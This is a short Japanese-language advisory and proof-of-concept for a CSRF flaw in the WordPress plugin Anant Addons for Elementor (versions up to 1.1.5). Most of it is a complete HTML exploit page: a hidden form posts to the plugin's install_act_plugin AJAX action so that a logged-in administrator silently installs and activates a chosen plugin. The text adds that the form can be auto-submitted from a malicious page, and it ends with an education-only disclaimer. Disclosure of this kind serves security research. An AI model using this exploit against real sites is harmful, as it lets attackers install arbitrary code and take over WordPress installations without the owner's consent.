anantaddons の Anant Addons for Elementor における クロスサイトリクエストフォージェリ (CSRF) の脆弱性
この問題は以下のバージョンに影響します: 不明なバージョンから 1.1.5 まで
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:Hこの脆弱性により、認証されていない攻撃者 は、ログイン済みの管理者の知らないうちに、その管理者に代わって 任意のプラグインインストール を実行できます。
悪意のあるページやフォームを作成することで、攻撃者は管理者に WordPress リポジトリから任意のプラグインをサイレントにインストールおよびアクティブ化させることができます。
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>Anant Addons for Elementor <= 1.1.5 CSRF Exploit</title>
<style>
body {
background-color: #111;
color: #0f0;
font-family: monospace;
padding: 40px;
}
h1 {
color: #ff0055;
font-size: 24px;
border-bottom: 1px solid #555;
padding-bottom: 10px;
}
.box {
background-color: #222;
border: 1px solid #444;
padding: 20px;
margin-top: 20px;
}
input[type="submit"] {
background-color: #ff0055;
color: #fff;
border: none;
padding: 10px 20px;
font-weight: bold;
cursor: pointer;
}
input[type="submit"]:hover {
background-color: #cc0044;
}
</style>
</head>
<body>
<h1>
Anant Addons for Elementor <= 1.1.5<br>
CSRF to Arbitrary Plugin Installation Vulnerability
</h1>
<div class="box">
<p># By: <strong>Nxploited | Khaled Alenazi</strong></p>
<p># Type: <strong>CSRF (No Nonce Validation)</strong></p>
<p># Impact: <strong>Unauthenticated attacker can force admin to install and activate arbitrary WordPress plugins</strong></p>
</div>
<form action="http://192.168.100.74:888/wordpress/wp-admin/admin-ajax.php?action=install_act_plugin" method="POST" class="box">
<input type="hidden" name="plugs" value="hello-dolly">
<p>🎯 Click the button below to trigger plugin installation (admin session must be active):</p>
<input type="submit" value="Exploit Now">
</form>
</body>
</html>
🎯 ログイン済みの管理者がこのフォームをクリックすると（または悪意のあるページで自動送信されると）、プラグインがサイレントにインストールされ、アクティブ化されます。
このリポジトリおよびコンテンツは、教育およびセキュリティ研究目的のみ を対象としています。
著者は、この情報の不適切な使用によって生じた誤用や損害について 一切責任を負いません。
必ず 自分が所有しているか、テストする明示的な許可を得ている システムでのみテストを実行してください。
by: Nxploited | Khaled ALenazi